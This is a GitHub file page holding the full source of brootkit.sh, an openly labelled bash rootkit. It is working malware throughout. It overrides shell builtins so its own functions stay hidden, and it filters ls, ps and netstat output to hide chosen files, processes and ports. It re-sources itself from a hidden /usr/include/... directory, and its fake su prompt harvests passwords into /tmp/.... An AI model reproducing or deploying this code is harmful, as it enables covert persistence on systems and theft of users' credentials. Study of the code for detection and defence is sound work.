-
Notifications
You must be signed in to change notification settings - Fork 219
/
Copy pathbrootkit.sh
487 lines (426 loc) · 10.3 KB
/
brootkit.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
#!/bin/bash
# Lightweight rootkit implemented by bash shell scripts v0.08
#
# by wzt 2015 http://www.cloud-sec.org
#
#declare -r builtin
#declare -r declare
#declare -r set
#declare -r fake_unset
#declare -r type
#declare -r typeset
#unalias ls >/dev/null 2>&1
set +v
BR_ROOTKIT_PATH="/usr/include/..."
function abcdmagic()
{
:
}
function br_hide_engine()
{
declare -a brootkit_func=(
"^typeset.*()|15" "^type.*()|27"
"^su.*()|26" "^reset_ps.*()|8"
"^reset_netstat.*()|8" "^reset_ls.*()|8"
"^reset_command.*()|42" "^ps.*()|14"
"^netstat.*()|14" "^max_file_length.*()|9"
"^ls.*()|64" "^fake_unset.*()|10"
"^fake_command.*()|12" "^display_array.*()|11"
"^dir.*()|3" "^declare.*()|41"
"^command*()|39" "^builtin.*()|19"
"^br_load_config.*()|28" "^br_display_config.*()|14"
"^abcdmagic.*()|3" "^/usr/bin/dir.*()|5"
"^/bin/ps.*()|5" "^/bin/netstat.*()|5"
"^/bin/ls.*()|5" "^br_hide_file=|5"
"^set.*()|19" "^br_hide_engine.*()|30"
)
local func_line br_func func_name func_num
echo "$1" >.br.tmp
for br_func in ${brootkit_func[*]}
do
func_name=`echo $br_func | cut -d "|" -f 1`
func_num=`echo $br_func | cut -d "|" -f 2`
#echo $func_name $func_num
func_line=`grep -n "$func_name" .br.tmp| awk -F: {'print $1'}`
#echo $func_line
sed -i "$func_line,+$func_num d" .br.tmp >/dev/null 2>&1
done
cat .br.tmp; rm -f .br.tmp
}
function builtin()
{
local fake_a
unset command
case $1 in
"declare"|"set"|"unset"|"command"|"type"|"typeset")
fake_a="$(command builtin $1 $2)"
br_hide_engine "$fake_a"
reset_command
return ;;
"builtin")
echo "bash: builtin: builtin: syntax error, bash($BASH_VERSION) is not support."
reset_command
return ;;
*)
command builtin $1 $2
reset_command
;;
esac
}
function declare()
{
local fake_a
unset command
case $1 in
"")
fake_a="$(command declare $1 $2)"
br_hide_engine "$fake_a"
reset_command
return ;;
"-f"|"-F")
fake_a="$(command declare $1 $2)"
fake_b=${fake_a/\/bin\/ls?()*/}
echo -n "$fake_b"
reset_command
return ;;
*)
command declare $1 $2
reset_command
return ;;
esac
}
function typeset()
{
local fake_a
unset command
case $1 in
""|"-f"|"-F")
fake_a="$(command declare $1 $2)"
br_hide_engine "$fake_a"
reset_command
return ;;
*)
command typeset $1 $2
reset_command
return ;;
esac
}
function type()
{
case $1 in
"builtin"|"declare"|"set"|"unset"|"type"|"typeset")
echo "$1 is a shell builtin"
return ;;
"dir")
echo "dir is /usr/bin/dir"
return ;;
"ls")
echo "ls is aliased to ls --color=tty"
return ;;
"ps")
echo "ps is /bin/ps"
return ;;
"netstat")
echo "netstat is hashed (/bin/netstat)"
return ;;
"/bin/ls"|"/usr/bin/dir"|"/bin/ps"|"/bin/netstat")
echo "$1 is $1"
return ;;
*)
unset command
command type $1 $2
reset_command
return ;;
esac
}
function set()
{
local fake_a
unset command
case $1 in
"")
fake_a="$(command set)"
br_hide_engine "$fake_a"
reset_command
return ;;
"-x"|"+x")
reset_command
return ;;
*)
echo $1 $2
command set $1 $2
reset_command
return ;;
esac
}
function fake_unset()
{
case $1 in
"builtin"|"declare"|"command"|"set"|"unset"|"type"|"typeset")
echo "bash: syntax error, bash($BASH_VERSION) is not support."
return ;;
*)
unset $1 $2
return ;;
esac
}
function fake_command()
{
case $1 in
"builtin"|"declare"|"command"|"set"|"unset"|"type"|"typeset")
echo "bash: syntax error, bash($BASH_VERSION) is not support."
return ;;
*)
unset command
command $1 $2
reset_command
return ;;
esac
}
function command()
{
case $1 in
"builtin")
builtin $2 $3
return ;;
"declare")
declare $2 $3
return ;;
"set")
set $2 $3
return ;;
"unset")
fake_unset $2 $3
. $BR_ROOTKIT_PATH/brootkit.sh
return ;;
"type")
type $2 $3
return ;;
"typeset")
typeset $2 $3
return ;;
"command")
fake_command $2 $3
return ;;
*)
unset command
command $2 $3
. $BR_ROOTKIT_PATH/brootkit.sh
return ;;
esac
}
function reset_command()
{
function command()
{
case $1 in
"builtin")
builtin $2 $3
return ;;
"declare")
declare $2 $3
return ;;
"set")
set $2 $3
return ;;
"unset")
fake_unset $2 $3
. $BR_ROOTKIT_PATH/brootkit.sh
return ;;
"type")
type $2 $3
return ;;
"typeset")
typeset $2 $3
return ;;
"command")
fake_command $2 $3
return ;;
*)
unset command
command $2 $3
. $BR_ROOTKIT_PATH/brootkit.sh
return ;;
esac
}
}
function su()
{
local arg_list=("" "-" "-l" "--login"
"-c" "--command" "--session-command"
"-f" "--fast"
"-m" "--preserve-environment" "-p"
"-s" "--shell=SHELL")
local flag=0 tmp_arg arg pass
if [ $UID -eq 0 ]; then
/bin/su $1; unset su ; return $?
fi
for arg in ${arg_list[@]}
do
[ "$1" = "$arg" ] && flag=1
done
[ $# -eq 0 ] && flag=1
tmp_arg=$1;tmp_arg=${tmp_arg:0:1};
[ "$tmp_arg" != "-" -a $flag -eq 0 ] && flag=1
if [ $flag -ne 1 ];then
/bin/su $1; return $?
fi
[ ! -f /tmp/... ] && `touch /tmp/... && chmod 777 /tmp/... >/dev/null 2>&1`
echo -ne "Password:\r\033[?25l"
read -t 30 -s pass
echo -ne "\033[K\033[?25h"
/bin/su && unset su && echo $pass >> /tmp/...
}
unalias ls >/dev/null 2>&1
function max_file_length()
{
local tmp_file sum=0 n=0
for tmp_file in `/bin/ls $@`
do
n=${#tmp_file}
[ $n -gt $sum ] && sum=$n
done
return $sum
}
function ls()
{
local fake_file max_col_num file_format
local hide_file hide_flag file_arg old_ifs
local file_len=0 sum=0 n=0 display_mode=0
max_col_num=`stty size|cut -d " " -f 2`
. $BR_ROOTKIT_PATH/brconfig.sh
br_load_config $BR_ROOTKIT_PATH/br.conf
for file_arg in $@
do
if echo $file_arg|grep -q -e "^-.*l.*"; then
display_mode=1; break
fi
done
case $display_mode in
0)
unset -f /bin/ls
max_file_length $@
file_len=$?
for fake_file in $(/bin/ls $@)
do
hide_flag=0
old_ifs=$IFS; IFS=","
for hide_file in ${br_hide_file[@]}
do
if echo "$fake_file"|grep -e "^$hide_file" >/dev/null;then
hide_flag=1; break
fi
done
IFS=$old_ifs
[ $hide_flag -eq 1 ] && continue
n=${#fake_file}
((sum=sum+n+file_len))
if [ $sum -gt $max_col_num ];then
file_format="%-$file_len""s\n"
printf $file_format $fake_file
sum=0
else
file_format="%-$file_len""s "
printf $file_format $fake_file
fi
done
[ $sum -le $max_col_num ] && echo ""
reset_ls
return ;;
1)
unset -f /bin/ls
fake_file=`/bin/ls $@`
old_ifs=$IFS; IFS=","
for hide_file in ${br_hide_file[@]}
do
fake_file=`echo "$fake_file" | sed -e '/'$hide_file'/d'`
done
IFS=$old_ifs
echo "$fake_file"
reset_ls
return ;;
esac
}
function dir()
{
/bin/ls $@
}
function /usr/bin/dir()
{
unset -f /bin/ls
/bin/ls $@
reset_ls
}
function reset_ls()
{
function /bin/ls()
{
unset -f /bin/ls
/bin/ls $@
reset_ls
}
}
function /bin/ls()
{
unset -f /bin/ls
/bin/ls $@
reset_ls
}
function ps()
{
local proc_name hide_proc old_ifs
. $BR_ROOTKIT_PATH/brconfig.sh
br_load_config $BR_ROOTKIT_PATH/br.conf
old_ifs=$IFS; IFS=","
proc_name=`/bin/ps $@`
for hide_proc in ${br_hide_proc[@]}
do
proc_name=`echo "$proc_name" | sed -e '/'$hide_proc'/d'`
done
echo "$proc_name"
IFS=$old_ifs
}
function reset_ps()
{
function /bin/ps()
{
unset -f /bin/ps
ps $@
reset_ps
}
}
function /bin/ps()
{
unset -f /bin/ps
ps $@
reset_ps
}
function netstat()
{
local hide_port tmp_port old_ifs
. $BR_ROOTKIT_PATH/brconfig.sh
br_load_config $BR_ROOTKIT_PATH/br.conf
old_ifs=$IFS; IFS=","
tmp_port=`/bin/netstat $@`
for hide_port in ${br_hide_port[@]}
do
tmp_port=`echo "$tmp_port" | sed -e '/'$hide_port'/d'`
done
echo "$tmp_port"
IFS=$old_ifs
}
function reset_netstat()
{
function /bin/netstat()
{
unset -f /bin/netstat
netstat $@
reset_netstat
}
}
function /bin/netstat()
{
unset -f /bin/netstat
netstat $@
reset_netstat
}